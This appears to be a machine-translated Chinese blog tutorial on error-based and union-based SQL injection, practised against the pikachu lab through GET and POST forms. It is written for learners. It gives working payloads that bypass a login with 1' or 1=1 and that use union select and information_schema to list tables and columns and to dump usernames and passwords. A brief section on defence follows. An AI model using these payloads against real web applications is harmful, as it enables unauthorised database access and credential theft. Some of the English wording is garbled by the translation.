当前位置:网站首页>[web security] - [SQL injection] - error detection injection
[web security] - [SQL injection] - error detection injection
2022-07-03 16:01:00 【Great Leo】
Misinjection
Error display injection yes sql An infusion of . Refer to web The application did not verify the validity of the data passed in by the user , Thus, the attacker can construct sql Statement combined with page echo to get the desired data .
Relevant knowledge supplement
- Mysql The system has its own library :information_schema library , Used to store database metadata , Such as database name 、 Table name 、 The data type of the column .information_schema.tables Store database table data ,informatison_schema.columns Store database column data .
- union select: The joint query . Combine multiple select The result set of the query . Here we need to pay attention to each of the joint queries select The number of query columns must be the same , Therefore, in the injection process, we usually pass order by Determine the number of columns before joint query .
- group_concat(): This function is used to merge the query results into one row , Display separated by commas . Multi row display cannot be performed during joint query , adopt limit Line by line acquisition is too cumbersome , It can be done by group_concat() Merge all the query results into one row for display .
Range practice -GET
- Determine the injection point
Pass on a reference ’ You can see the following error reports :
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1
Therefore, it can be roughly judged that the background query statement may be :
select column_name from table_name where name = '\''.$name.'\''
Because Chuan Shen is a ’ It will cause one more in the whole statement ’ Come on , Unable to close normally, resulting in an error . Here we can construct a statement to close it .
vince' and 1=1 -- qwe ##-- qwe It's the annotator , equivalent #. stay URL in # May be used as an anchor , Therefore, this method is adopted for annotation
The range of practice is pikachu,vince Is the default account in the range .
Splicing the above sentence into the primitive sentence will be :
select column_name from table_name where name = 'vince' and 1=1 -- qwe'
hinder ’ It's commented out , The front constitutes a complete query statement .1=1 The result is True, Statement can be executed normally .
In the actual combat environment, it is rare to directly see the error reports of the database , So try to guess more ’ " ') ") And so on .

2. Guess the number of fields
After knowing the injection point, we can pass union select Get the data we need by joint query , But because of the characteristics of joint query , The number of query fields of two query statements must be the same , So we need to go through order by Guess the number of fields .
vince' and 1=1 order by 1 -- qwe vince' and 1=1 order by 2 -- qwe
vince' and 1=1 order by 3 -- qwe
Keep changing the number of columns , Until the data cannot be obtained .


You can see here , There are two fields . Then you can construct a joint query to judge the wrong point .
vince' union select 1,2 -- qwe

Both fields are echoed .
- Query the current database name
vince' union select database(),2 -- qwe

- The query table name
vince' union select group_concat(table_name),2 from information_schema.tables where table_schema='pikachu' -- qwe

- Inquire about users Fields in the table
vince' union select group_concat(distinct column_name),2 from information_schema.columns where table_name='users' -- qwe ##group_concat(distinct column_name) Is to duplicate the output

- Query record content
vince' union select group_concat(username),group_concat(password) from users -- qwe

Range practice -POST
- Determine the injection point
POST Injection usually occurs where the form needs to be submitted , Such as login box 、 Message board, etc . In the case of login box, it involves the concept of universal password , Suppose the query statement in the background is :
select * from users_table where username='\''.$username.'\'' and '\''.$password.'\''
This is if we are username The ginseng :
1' or 1=1 -- qwe
Then spliced into the query statement is :
select * from users_table where username='1' or 1=1 -- qwe and password=''
hinder and password=’' Be annotated out , The previous sentence is always true , So you can pass the authentication without paying attention to the password .

Now that the injection point is identified , Then the following operations are related to GET identical .
- Guess the number of fields
1' or 1=1 order by 1 -- qwe 1' or 1=1 order by 2 -- qwe
1' or 1=1 order by 3 -- qwe

- Judge the wrong point
1' union select 1,2 -- qwe

- Query the current database name
1' union select database(),2 -- qwe

- The query table name
1' union select group_concat(table_name),2 from information_schema.tables where table_schema='security' -- qwe

- Inquire about users The field name of the table
1' union select group_concat(distinct column_name),2 from information_schema.columns where table_name='users' -- qwe

- Query record content
1' union select group_concat(username),group_concat(password) from users -- qwe

summary
Injection can occur anywhere you interact with the database , During penetration testing , You can collect server types and database types as much as possible , The injection statement can be constructed according to the characteristics of the corresponding server or database .
sql Injection can be handled in the following ways :
- sql Statement precompile :sql The engine parses the statements in advance , No matter what parameters the user passes in, the original syntax structure will not be affected .
- Strictly check the transmission parameters : You can filter out some illegal characters or sql function .
At present, many languages have security functions to defend sql Inject , In general, paying attention to code specifications can effectively prevent sql Inject .
边栏推荐
- Unity function - unity offline document download and use
- Distributed task scheduling XXL job
- App mobile terminal test [3] ADB command
- Why can't strings be directly compared with equals; Why can't some integers be directly compared with the equal sign
- MongoDB 的安装和基本操作
- Low level version of drawing interface (explain each step in detail)
- How can technology managers quickly improve leadership?
- 半监督学习
- Please be prepared to lose your job at any time within 3 years?
- A Fei's expectation
猜你喜欢

Principles of several common IO models

How to thicken the brush in the graphical interface

Microservice API gateway zuul

Project -- high concurrency memory pool

Microservice sentinel flow control degradation
![[redis foundation] understand redis persistence mechanism together (rdb+aof graphic explanation)](/img/68/3721975cf33fcfacc28dc4d3d6a5ca.jpg)
[redis foundation] understand redis persistence mechanism together (rdb+aof graphic explanation)
![[系统安全] 四十三.Powershell恶意代码检测系列 (5)抽象语法树自动提取万字详解](/img/cd/00954b9c592c253d42e6a3b8298999.jpg)
[系统安全] 四十三.Powershell恶意代码检测系列 (5)抽象语法树自动提取万字详解

Brush questions -- sword finger offer

Salary 3000, monthly income 40000 by "video editing": people who can make money never rely on hard work!

《微服务设计》读书笔记(下)
随机推荐
Unity功能——Unity离线文档下载及使用
A Fei's expectation
CString在多线程中的问题
nifi从入门到实战(保姆级教程)——flow
工资3000,靠“视频剪辑”月入40000:会赚钱的人,从不靠拼命!
Pandora IOT development board learning (HAL Library) - Experiment 5 external interrupt experiment (learning notes)
Embedded development: seven reasons to avoid open source software
VC下Unicode和ANSI互转,CStringW和std::string互转
Batch files: list all files in a directory with relative paths - batch files: list all files in a directory with relative paths
无心剑中译泰戈尔《漂鸟集(1~10)》
【Proteus仿真】74HC595+74LS154驱动显示16X16点阵
pycharm错Error updating package list: connect timed out
Microservice - declarative interface call openfeign
Go language self-study series | if else statement in golang
Why can't strings be directly compared with equals; Why can't some integers be directly compared with the equal sign
How can technology managers quickly improve leadership?
App移动端测试【5】文件的写入、读取
Microservices Seata distributed transactions
Calibre LVL
App mobile terminal test [4] APK operation